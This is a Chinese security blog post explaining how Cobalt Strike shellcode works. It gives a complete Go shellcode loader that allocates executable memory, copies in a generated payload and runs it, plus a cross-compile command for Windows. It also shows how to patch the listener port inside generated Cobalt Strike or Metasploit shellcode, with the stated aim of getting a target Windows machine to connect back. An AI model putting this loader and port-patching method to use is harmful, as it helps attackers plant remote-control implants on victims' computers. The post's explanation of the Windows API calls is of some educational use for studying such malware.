浅谈cs的shellcode的使用方法

2021-11-18 13,182

前言

看完本文你会了解到:

1.cs中的shellcode是做什么的?

2.用类似于cs、msf生成的shellcode的加载器是什么样的?

3.windows api是什么?

4.怎样从msf及cs生成的shellcode里直接修改监听ip和监听端口?


准备工作


shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。

我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。

使用cs生成一个c的payload。



这个文件里面就是一段shllcode。



接下来我们从编写shellcode加载器开始到运行上线CS来分析一下这个shellcode做了什么。


0x01 shellcode加载器介绍

及cs上线操作


要想运行shellcode并上线机器的话,最常见的办法就是编写shellcode加载器,那么什么是shellcode加载器呢?

我们知道在计算机中无论什么程序到最后都会转换成二进制代码让CPU去运行,而CPU是负责运算和处理的,内存是交换数据的,没有内存,CPU就没法接收到数据。

内存是计算机与CPU进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的。

所以shellcode加载器就是为shellcode申请一段内存,然后把shellcode加载到内存中让机器执行这段shellcode,也就是说这个加载器就是个让shellcode运行起来的东西(这不是废话么)。

下面我复制粘贴了段go语言的shellcode的加载器,我们可以用这歌加载器来上线windows机器。


package main
import (  _"io/ioutil"  "os"  "syscall"  "unsafe")
const (  MEM_COMMIT             = 0x1000  MEM_RESERVE            = 0x2000  PAGE_EXECUTE_READWRITE = 0x40)
var (  kernel32      = syscall.MustLoadDLL("kernel32.dll")       //调用kernel32.dll  ntdll         = syscall.MustLoadDLL("ntdll.dll")          //调用ntdll.dll  VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")     //使用kernel32.dll调用ViretualAlloc函数  RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")        //使用ntdll调用RtCopyMemory函数  shellcode_buf = []byte{    // 你的shellcode,0x3f, 0x2e...格式的  })
func checkErr(err error) {  if err != nil {       //如果内存调用出现错误,可以报出    if err.Error() != "The operation completed successfully." { //如果调用dll系统发出警告,但是程序运行成功,则不进行警报      println(err.Error()) //报出具体错误      os.Exit(1)    }  }}
func main() {  shellcode := shellcode_buf
 //调用VirtualAlloc为shellcode申请一块内存  addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  if addr == 0 {    checkErr(err)  }
 //调用RtlCopyMemory来将shellcode加载进内存当中  _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  checkErr(err)
 //syscall来运行shellcode  syscall.Syscall(addr, 0, 0, 0, 0)}


在shellcode_buf里面放好前面cs生成的c的payload时后来编译运行。

windows机器上正常编译,MacOS与linux机器或者其他操作系统上运行下面这段代码来编译。


CGO_ENABLED=0 GOOS=windows  go build main.go



这行自行脑补一张win10打开main.exe的图片。



成功上线,这就是我们上线机器的过程,接下来我们来一步步的去分析这个过程事如何实现的。


0x02 shellcode加载器所用数据类型及 Windows API 函数大致介绍


[ + ] VirtualAlloc

VirtualAlloc 是 Windows API 函数。该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。

简单点的意思就是申请内存空间。包含在 Windows 系统文件 Kernel32.dll 中。

使用详情:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc



调用VirtualAlloc的话需要有四个参数,如文档中提到的lpAddress、dwSize、flAllocationType、flProtect,其中每个参数的介绍如下:

lpAddress:内存指针,规定开始的地方

dwSize:要用内存的大小

flAllocationType*:内存类型,规定要怎么去用这块内存

flProtect:内存属性


[ + ] RtlMoveMemory

RtlCopyMemory是 Windows API 函数。该函数可以从指定内存中复制内存至另一内存里。

简称:复制内存。它包含在 Ntdll.dll 中。



调用 RtlMoveMemory 的话需要三个参数,如文档中提到的Destination、Source、Length,其中每个参数的介绍如下:


Destination:指向要复制字节的目标内存块的指针

Source:指向要复制字节的源内存块的指针

Length:从源复制到目标中的字节数


[ + ] uintptr*


整型,可以足够保存指针的值得范围


[ + ] uintptr*


系统调用。syscall包包含一个指向底层操作系统原语的接口,它接收4个参数,其中trap为中断信号,a1,a2,a3为底层调用函数对应的参数。具体用法为:

syscall.Syscall(trap, a1, a2, a3 uintptr)


其中用不到的补0就行。


[ + ] golang调用windows api


参考文章:https://www.jianshu.com/p/8e454a012cdc

关键词:golang调用windows api(这里主要针对go语言,师傅们可以尝试去写一个其他语言的shellcode加载器,原理都是调用windows api)。


0x03 shellcode加载器代码分析


加载器加载shellcode就是用go调用windows api然后操作内存来实现的。

1. 从入口函数main起看,首先是声明一个shellcode变量并赋值。

shellcode := shellcode_buf


2. 接下来用VirtualAlloc为shellcode申请了一段内存空间。

addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)


在这行代码中,我们用go语言调用了windpws api中的VirtualAlloc函数,它在 Windows 系统文件 Kernel32.dll 中(0x02开头有官方的函数用法介绍),因此我们在开头有几行代码是调用dll中的函数的。



继续来看VirtualAlloc函数,这里面有四个参数分别是:

addrlpAddress        <==      0                        // 内存指针,规定开始的地方。
dwSize              <==      uintptr(len(shellcode))  // 内存分配的大小,必须得是uintptr型
flAllocationType    <==      MEM_COMMIT|MEM_RESERVE  // 内存类型,规定要怎么去用这块内存,具体见下表
flProtect            <==      PAGE_EXECUTE_READWRITE  // 内存属性,具体见下下表


MEM_COMMIT|MEM_RESERVE


3. 然后调用RtlCopyMemory函数来将shellcode加载进内存当中。


_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))


RtlCopyMemory函数对应的三个参数分别是:


Destination          <==          addr变量,指向要复制字节的目标内存块的指针。
Source              <==          (uintptr)(unsafe.Pointer(&shellcode[0])),指向要复制字节的源内存块的指针。
Length              <==          uintptr(len(shellcode)) 从源复制到目标中的字节数。


4. 最后使用syscall来执行shellcode

syscall.Syscall(addr, 0, 0, 0, 0)      // 用不到的就补0


到这里一个基本的shellcode加载器就实现了,总而言之就是:

申请内存-->把shellcode加载到内存-->让这段内存里的东西运行起来。


0x04 从shellcode里直接修改上线IP与端口


一、前奏小知识


1. 端口为什么会是65535个?

在TCP、UDP协议的开头,会分别有16位来存储源端口号和目标端口号,所以端口个数是216-1=65535个。简单来讲端口就是从十六进制的0000-FFFF



2. 内存地址是从低地址到高地址记录的。例如



一个内存单元比如0x000001可以存放一个字节,比如把55555转换成十六进制就是D903:



而一个字节就是D9或者03,在D903中,因为字在寄存器中是这样储存的。



所以D9属于高位,03属于低位,如果要放在内存里面从0x000001开始的话就是0X000001放着03,0x000002放着D9


二、修改上线IP与端口


假如你生成的端口为5555,把它转换为十六进制就是D903,我们反过来搜03D9就可以了(根据生成shellcode的格式自行搜索,或者只搜索一个D9,然后看它前面的是不是03,如果是的话就说明这俩个字节就是我们的上线端口),这样就确定了监听端口的位置。



接下来把要替换的端口号转换成十六进制。



然后再倒序修改shellcode里面监听的端口号的位置。



好了,这样就修改成功了,放到加载器去上线吧,修改监听IP,留给大家思考。

求走过路过的大佬的一个小赞。

本文作者:火线安全平台

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/169566.html

Tags:
评论  (0)
快来写下你的想法吧!

火线安全平台

文章数:20 积分: 120

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号